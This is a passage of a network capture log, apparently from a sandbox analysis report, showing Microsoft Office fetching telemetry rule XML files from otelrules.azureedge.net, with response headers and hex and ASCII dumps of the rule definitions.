2024-11-26 07:55:38 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:55:38 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:55:38 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: f58191a5-b01e-003e-1291-3f8e41000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T075538Z-174f78459685m244hC1EWRgp2c0000000v10000000002xkh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:55:38 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.4	49886	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:55:38 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:55:38 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:55:38 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 8c2ab7fe-e01e-0003-5b91-3f0fa8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T075538Z-174f7845968swgbqhC1EWRmnb40000000v6000000000b6pk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:55:38 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.4	49887	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:55:39 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:55:39 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:55:39 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: fdde7aaa-d01e-0028-2a8c-3f7896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T075539Z-174f7845968cdxdrhC1EWRg0en0000000v30000000006bhh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:55:39 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.4	49888	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:55:39 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:55:40 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:55:40 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: c668448b-101e-007a-2d91-3f047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T075540Z-174f784596886s2bhC1EWR743w0000000v50000000006p08 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:55:40 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.4	49890	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:55:40 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:55:40 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:55:40 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: f418fe9b-801e-0047-5281-3f7265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T075540Z-174f7845968n2hr8hC1EWR9cag0000000uu00000000041sd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:55:40 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.4	49893	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:55:40 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:55:41 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:55:40 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: 6eac8613-a01e-006f-3091-3f13cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T075540Z-174f7845968g6hv8hC1EWR1v2n000000032g000000004wbm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:55:41 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.4	49895	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:55:41 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:55:42 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:55:42 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: 49e8a97e-c01e-008e-5491-3f7381000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T075542Z-174f7845968pf68xhC1EWRr4h80000000vc0000000006vk8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:55:42 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.4	49896	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:55:42 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:55:42 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:55:42 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: a75c6aaa-401e-002a-4291-3fc62e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T075542Z-174f78459688l8rvhC1EWRtzr000000007s0000000004c8p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:55:42 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.4	49897	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:55:42 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:55:42 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:55:42 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: 003cf3b7-b01e-0053-2e8c-3fcdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T075542Z-174f7845968nxc96hC1EWRspw80000000uwg000000004sdv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:55:42 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.4	49899	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:55:42 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:55:43 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:55:43 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: e56afb1e-801e-0083-3991-3ff0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T075543Z-174f784596886s2bhC1EWR743w0000000v9g00000000075a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:55:43 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.4	49901	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:55:44 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:55:44 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:55:44 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: 3d9c3aa7-901e-00ac-5891-3fb69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T075544Z-174f7845968kvnqxhC1EWRmf3g0000000dvg00000000a4y2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:55:44 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.4	49902	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:55:44 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:55:44 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:55:44 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: 47663499-e01e-0051-6891-3f84b2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T075544Z-174f7845968swgbqhC1EWRmnb40000000v9g000000004tqz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:55:44 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.4	49903	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
